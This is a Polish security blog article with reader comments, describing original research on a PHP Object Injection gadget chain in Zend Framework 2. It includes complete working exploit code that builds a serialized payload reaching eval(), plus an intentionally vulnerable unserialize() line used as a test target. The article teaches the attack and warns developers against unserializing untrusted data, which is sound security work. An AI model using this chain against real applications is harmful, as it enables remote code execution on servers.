Mega Sekurak Hacking Party w Krakowie! 26-27.10.2026 r.
PHP Object Injection i ZendFramework2
Podatność PHP Object Injection jest już czytelnikom Sekuraka znana; opisywaliśmy ją rok temu, pokazując na przykładzie błędu tego typu w Joomli jak doprowadzić do usuwania dowolnego pliku na dysku. Tym razem przedstawimy nasz autorski research, w jaki sposób można wykorzystać tę podatność do wykonania dowolnego kodu, jeśli odnajdziemy ją w aplikacji korzystającej z bardzo popularnego frameworka dla PHP: Zend.
Krótkie przypomnienie
W telegraficznym skrócie, podatność PHP Object Injection wiązała się z wywołaniem funkcji unserialize() z danymi pochodzącymi od użytkownika. Dzięki temu atakujący mógł zainicjalizować dowolne klasy w podatnym kodzie, a także – przy odrobinie szczęścia – wpłynąć na przepływ działania programu. Było to możliwe dzięki magicznym metodom wywoływanym automatycznie przez PHP w pewnych sytuacjach. W kontekście tego artykułu będą nas interesować konkretnie następujące metody:
- __destruct() – wywoływana w momencie niszczenia obiektu (destruktor),
- __toString() – wywoływana, gdy dana klasa musi zostać zinterpretowana jako string (np. w przypadku porównania $obj == „abc”),
- __call() – wywoływana, gdy próbowano odwołać się do metody nieistniejącej w danej klasie. Na przykład: załóżmy, że próbujemy wykonać $obj->jakasMetoda(„abc”), jednak jakasMetoda() nie jest zdefiniowana dla klasy kryjącej się pod zmienną $obj. PHP spróbuje wówczas wywołać metodę __call(„jakasMetoda”, array(„abc”)).
Exploitujemy Zenda!
Spójrzmy zatem co ciekawego kryją w sobie klasy Zenda. Jak to zazwyczaj bywa, zaczynamy od destruktorów. Najpierw destruktor klasy \Zend\Http\Response\Stream
public function __destruct()
{
if (is_resource($this->stream)) {
$this->stream = null; //Could be listened by others
}
if ($this->cleanup) {
ErrorHandler::start(E_WARNING);
unlink($this->streamName);
ErrorHandler::stop();
}
}
Wygląda nieźle :) Jeśli $this->cleanup będzie równe true, wówczas wykona się unlink() (czyli usuwanie pliku na dysku) dla ścieżki pobranej z $this->streamName. Już samo usuwanie plików jest niezłą podatnością samą w sobie, ale w tym przypadku zwracam uwagę na ten kod z innego powodu – mianowicie argumentem dla funkcji unlink() musi być zmienna znakowa, zatem jeśli podstawimy pod $this->streamName jakąś klasę, zostanie w niej wykonane __toString(). Co z kolei prowadzi nas do klasy \Zend\Tag\Cloud:
public function __toString()
{
try {
$result = $this->render();
Spójrzmy w takim razie na render():
public function render()
{
$tags = $this->getItemList();
if (count($tags) === 0) {
return '';
}
$tagsResult = $this->getTagDecorator()->render($tags);
$cloudResult = $this->getCloudDecorator()->render($tagsResult);
return $cloudResult;
}
W Zendzie stosowane są gettery i settery, toteż getItemList() zwraca $this->tags, zaś getTagDecorator() zwraca $this->tagDecorator. Powyższy kod pozwala w takim razie wykonać metodę render() dla klasy kryjącej się pod $this->tagDecorator przekazując jako argument $this->tags.
Metodę render() odnajdujemy w klasie \Zend\View\Renderer\PhpRenderer.
public function render($nameOrModel, $values = null)
{
if ($nameOrModel instanceof Model) {
Pamiętamy, że mieliśmy kontrolę nad tym, jaki argument jest przesyłany do tej funkcji. Na samym początku ciała funkcji jest sprawdzenie czy $nameOrModel (czyli nasz argument) jest instancją klasy Model. Zadbamy o to, by tak nie było, a więc pomińmy ten blok kodu i patrzymy dalej:
$this->addTemplate($nameOrModel);
Wykonana zostanie funkcja addTemplate()…
public function addTemplate($template)
{
$this->__templates[] = $template;
return $this;
}
… która po prostu dopisuje do tablicy $this->__templates argument, który został do niej przekazany.
Wracamy do render():
while ($this->__template = array_pop($this->__templates)) {
$this->__file = $this->resolver($this->__template);
Pobierany jest ostatni element z tablicy $this->templates, a następnie jest on przekazywany do metody resolver(). Zobaczmy czym ta metoda się zajmuje.
public function resolver($name = null)
{
if (null === $this->__templateResolver) {
$this->setResolver(new TemplatePathStack());
}
if (null !== $name) {
return $this->__templateResolver->resolve($name, $this);
}
Tym razem wywoływana jest metoda resolve() na obiekcie kryjącym się pod $this->__templateResolver. Tradycyjnie szukalibyśmy jakiejś ciekawej klasy zawierającej resolve(), wyjątkowo jednak zastosujemy inne podejście… Gdybyśmy pod $this->__templateResolver schowali instancję tej samej klasy, na którą teraz patrzymy (a więc \Zend\View\Renderer\PhpRenderer), silnik PHP nie odnalazłby metody resolve() – bowiem nie jest ona zdefiniowana – dlatego wywołałby magiczną metodę __call().
public function __call($method, $argv)
{
if (!isset($this->__pluginCache[$method])) {
$this->__pluginCache[$method] = $this->plugin($method);
}
if (is_callable($this->__pluginCache[$method])) {
return call_user_func_array($this->__pluginCache[$method], $argv);
}
return $this->__pluginCache[$method];
}
Mamy wykonanie funkcji call_user_func_array(), w której mamy kontrolę nad pierwszym parametrem, co oznacza, że możemy wywołać dowolną metodę w dowolnej klasie. Szczęśliwie – ze względu na wcześniejszy przepływ programu – mamy też kontrolę nad pierwszym argumentem przekazywanym do tej funkcji!
Wydawałoby się, że w tym momencie moglibyśmy po prostu odpalić system() lub assert(), ale, z przyczyn nie do końca dla mnie jasnych, takie rozwiązanie nie zadziałało.
Z ratunkiem przychodzi jednak sam Zend i klasa \Zend\Serializer\Adapter\PhpCode z interesującą metodą unserialize():
public function unserialize($code)
{
ErrorHandler::start(E_ALL);
$ret = null;
// This suppression is due to the fact that the ErrorHandler cannot
// catch syntax errors, and is intentionally left in place.
$eval = @eval('$ret=' . $code . ';');
Nie mogło być lepiej – wywoływany jest eval() z argumentem przekazywanym do funkcji.
Tym samym udało nam się odnaleźć ciąg klas w Zendzie, który doprowadził do wykonania dowolnego kodu PHP.
Teraz należy połączyć wszystkie klocki w jedno i napisać kod, który zbuduje odpowiedni łańcuch klas, zgodnie z powyższym opisem. W poniższym przykładzie exploit wykona funkcję phpinfo().
<?php
namespace Zend\Tag {
class Cloud {
protected $tags = "phpinfo()";
protected $tagDecorator;
function __construct() {
$this->tagDecorator = new \Zend\View\Renderer\PhpRenderer();
}
}
}
namespace Zend\Serializer\Adapter { class PhpCode { } }
namespace Zend\View\Renderer {
class PhpRenderer {
private $__pluginCache;
private $__templateResolver;
function __construct($i=0) {
switch ($i) {
case 0: $this->__templateResolver = new \Zend\View\Renderer\PhpRenderer(1); break;
case 1: $this->__pluginCache = array("resolve" => array(new \Zend\Serializer\Adapter\PhpCode(), "unserialize")); break;
}
}
}
}
namespace Zend\Http\Response {
class Stream {
protected $cleanup = true;
protected $streamName;
function __construct() {
$this->streamName = new \Zend\Tag\Cloud();
}
}
}
namespace Exploit {
$x = new \Zend\Http\Response\Stream();
var_dump($x);
echo urlencode(base64_encode(serialize($x)))."\n\n";
}
Aby upewnić się, że kod rzeczywiście zadziała, wziąłem prostą, przykładową aplikację w Zendzie (ZF2 Skeleton Application) i dopisałem w niej jedną linię kodu…
unserialize(base64_decode($_GET["x"]));
Na (Rys 1.) pokazuję zaś, że w istocie phpinfo() zostanie wykonane w wyniku wykorzystania Object Injection.
Podsumowanie
Pokazaliśmy, że podatność PHP Object Injection w aplikacji korzystając z frameworka Zend może zostać wykorzystana do wykonania dowolnego kodu PHP po stronie serwera.
Należy zaznaczyć, że nie jest to problem bezpieczeństwa samego Zenda – klasy, które zostały użyte w łańcuchu są używane w frameworku do realizacji jego zwykłych funkcjonalności. To programiści aplikacji webowych muszą pamiętać, aby nigdy nie uruchamiać funkcji unserialize() na niezaufanych danych.
–Michał Bentkowski, realizuje testy penetracyjne w Securitum.


Warto dodać że to dotyczy wszystkich języków programowania (no prawie wszystkich) i leniwych „programistów”. Dlatego warto serializować/deserializować dane do formatów typu JSON/XML/CHGW za pomocą metod do tego przeznaczonych.
Przykład: https://docs.python.org/2/library/pickle.html
Na Sekuraku też o tym było ;)
http://sekurak.pl/unpickle-deserializacja-w-pythonie-i-zdalne-wykonywanie-kodu/
A kto napisał ten art?
Dodałem już podpis.